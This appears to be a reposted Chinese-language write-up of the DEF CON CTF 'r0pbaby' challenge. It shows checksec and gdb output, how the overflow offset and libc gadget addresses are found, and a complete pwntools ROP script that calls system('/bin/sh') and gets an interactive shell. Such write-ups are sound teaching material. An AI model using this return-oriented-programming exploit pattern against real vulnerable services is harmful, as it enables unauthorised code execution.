Defcon

来源:互联网 发布:正版cad2017软件多少钱 编辑:程序博客网 时间:2024/05/01 05:52

资源

r0pbaby 程序

目的

getshell

思路

查看文件类型

$ file r0pbabyr0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, stripped

这是一个64位的可执行文件

查看文件安全策略

$ checksec r0pbaby[*] '/home/jc/Documents/pwn/r0pbaby'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled    FORTIFY:  Enabled

开启了NX,需要进行ROP

添加执行权限,运行玩一玩

$ chmod u+x r0pbaby$ ./r0pbabyWelcome to an easy Return Oriented Programming challenge...Menu:1) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: 1libc.so.6: 0x00007FB66BC239B01) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: 2Enter symbol: systemSymbol system: 0x00007FB66B4763901) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: 3Enter bytes to send (max 1024): 4ABCD1) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: Bad choice.

从这里我们可以知道,应该可以利用3),控制rip。因为这是一个64位的ELF,参数/bin/sh存储在rdi中,而不是栈中。所以,想要执行system(‘/bin/sh’),我们需要在call system前,将/bin/sh放在栈顶并执行一次pop rdi。

我们尝试让程序崩溃看看,操起gdb

$ gdb -q r0pbabyReading symbols from r0pbaby...(no debugging symbols found)...done.

创建长度为50的字符串

gdb-peda$ pattern_create 50'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

运行

gdb-peda$ rStarting program: /home/jc/Documents/pwn/r0pbaby 

输入刚才生成的长度为50的字符串

Welcome to an easy Return Oriented Programming challenge...Menu:1) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: 3Enter bytes to send (max 1024): 50AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA1) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: Bad choice.Program received signal SIGSEGV, Segmentation fault.

Segmentation fault 崩溃了!

根据提示

[-------------------------------------code-------------------------------------]   0x555555554eae:  pop    r14   0x555555554eb0:  pop    r15   0x555555554eb2:  pop    rbp=> 0x555555554eb3:  ret       0x555555554eb4:  nop    WORD PTR cs:[rax+rax*1+0x0]   0x555555554ebe:  xchg   ax,ax   0x555555554ec0:  push   r15   0x555555554ec2:  mov    r15d,edi

我们知道程序崩溃在了

=> 0x555555554eb3:  ret

此时ret的返回地址,此时rsp的指向为

gdb-peda$ x/x $rsp0x7fffffffdc98: 0x6e41412441414241gdb-peda$ x/s $rsp0x7fffffffdc98: "ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA"

查看偏移量

gdb-peda$ pattern_offset ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA found at offset: 8

也就是说,程序会以我们输入的偏移量为8的位置去取ret的地址,this is so good!我们可以借此控制rip!此时的栈,是这样子的:

---------- 内存高地址...----------(AADAA;A----------AACAA-AA----------ABAA$AAn   <- ret----------AAA%AAsA----------...---------- 内存低地址

libc里通常有这样的一个gadget

pop raxpop rdicall rax

如果我们构造一个这样的栈空间

---------- 内存高地址...----------/bin/sh的地址      pop rdi----------system()的地址     pop rax----------gadget ppc的地址   <- ret----------AAA%AAsA----------...---------- 内存低地址

Great!对不对?
那么,接下来我们要做几件事:

  1. 获取libc中system的地址
  2. 获取libc中/bin/sh的地址
  3. 获取libc中ppc gadget的地址
  4. 获取运行时system的地址
  5. 构造payload并发送getshell

下面我们利用本地的libc文件做下测试,本地libc路径位于:/lib/x86_64-linux-gnu/libc-2.23.so

获取libc中system的地址

IDA shift + f12,ctrl + f,system

system

得到libc中system的地址为0x45390

获取libc中/bin/sh的地址

IDA shift + f12,ctrl + f,/bin/sh

/bin/sh
/bin/sh addr

得到libc中/bin/sh的地址为0x18cd17

获取libc中ppc gadget的地址

IDA alt + t,pop rdi,直到找到ppc为止

ppc

得到libc中ppc的地址为0x1073d9

获取运行时system的地址

运行程序的时候,输入2,再输入system,就出来了

构造payload并发送getshell

#!/usr/bin/pythonfrom pwn import *def get_addr_sys(sh):    sh.sendline('2')    sh.recv()    sh.sendline('system')    ret = sh.recvline().split(' ')[-1]    sh.recv()    ret = long(ret, 16)    return retdef get_shell(sh, addr_sys, ppc_offset, bin_sh_offset):    print('addr_sys: %x' % addr_sys)    print('pop_pop_call_offset: %x' % ppc_offset)    print('bin_sh_offset: %x' % bin_sh_offset)    sh.sendline('3')    sh.recv()    sh.sendline('32')    payload = 'A' * 8 + p64(addr_sys + ppc_offset) + p64(addr_sys) + p64(addr_sys + bin_sh_offset)    print(len(payload))    sh.sendline(payload)    sh.recv()    returndef main():    sh = process('./r0pbaby')    addr_sys = get_addr_sys(sh)    libc_addr_pop_rdi = 0x1073d9    libc_addr_bin_sh = 0x18cd17    libc_addr_sys = 0x45390    ppc_offset = libc_addr_pop_rdi - libc_addr_sys    bin_sh_offset = libc_addr_bin_sh - libc_addr_sys    get_shell(sh, addr_sys, ppc_offset, bin_sh_offset)    sh.interactive()    sh.close()if __name__ == '__main__':    main()

本地测试结果

$ python r0pbaby_solver.py [+] Starting local process './r0pbaby': pid 6061addr_sys: 7fabe3959390pop_pop_call_offset: c2049bin_sh_offset: 14798732[*] Switching to interactive mode$ whoamijc$